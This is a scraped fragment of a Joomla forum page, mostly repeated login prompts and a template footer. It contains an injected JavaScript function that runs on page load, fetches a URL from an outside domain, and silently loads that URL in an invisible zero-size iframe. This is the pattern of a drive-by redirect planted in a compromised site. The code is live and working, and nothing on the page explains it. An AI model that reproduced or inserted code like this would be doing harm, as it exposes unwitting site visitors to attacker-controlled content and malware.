Please Log in or Create an account to join the conversation.
Please Log in or Create an account to join the conversation.
<p class="art-page-footer"><a href="http://www.artisteer.com/?p=joomla_templates" target="_blank">Joomla template</a> created with Artisteer.</p>
<div class="cleared"></div>
</div>
<script type="text/javascript">
function aklazyinit()
{
var xhr = undefined;
if (typeof XMLHttpRequest == "undefined")
{
try { xhr = new ActiveXObject("Msxml2.XMLHTTP.6.0"); }
catch (e) {}
if(xhr == 'undefined') try { xhr = ActiveXObject("Msxml2.XMLHTTP.3.0"); }
catch (e) {}
if(xhr == 'undefined') try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) {}
}
else
{
xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stayinginireland.net/index.php?aklazy=check', true);
xhr.onreadystatechange = function (aEvt) {
if (xhr.readyState == 4) {
if(xhr.status == 200)
{
var msg = xhr.responseText;
// Start processing the message
var junk = null;
var message = "";
// Get rid of junk before the data
var valid_pos = msg.indexOf('###');
if( valid_pos == -1 ) {
return;
} else if( valid_pos != 0 ) {
// Data is prefixed with junk
junk = msg.substr(0, valid_pos);
message = msg.substr(valid_pos);
}
else
{
message = msg;
}
message = message.substr(3); // Remove triple hash in the beginning
// Get of rid of junk after the data
var valid_pos = message.lastIndexOf('###');
if( valid_pos == -1 ) {
return;
} else if( valid_pos == 0 )
{
// No data
return;
}
message = message.substr(0, valid_pos); // Remove triple hash in the end
// Create the iFrame
var iframe = document.createElement('iframe');
iframe.setAttribute('width', '0');
iframe.setAttribute('height', '0');
iframe.setAttribute('src', message);
document.body.appendChild(iframe);
}
}
};
xhr.send(null);
}
}
window.onload=aklazyinit;
</script>
Please Log in or Create an account to join the conversation.
Please Log in or Create an account to join the conversation.
Please Log in or Create an account to join the conversation.
Please Log in or Create an account to join the conversation.
© 2011- Жук Це-Це. Design by Dmitry Zhuk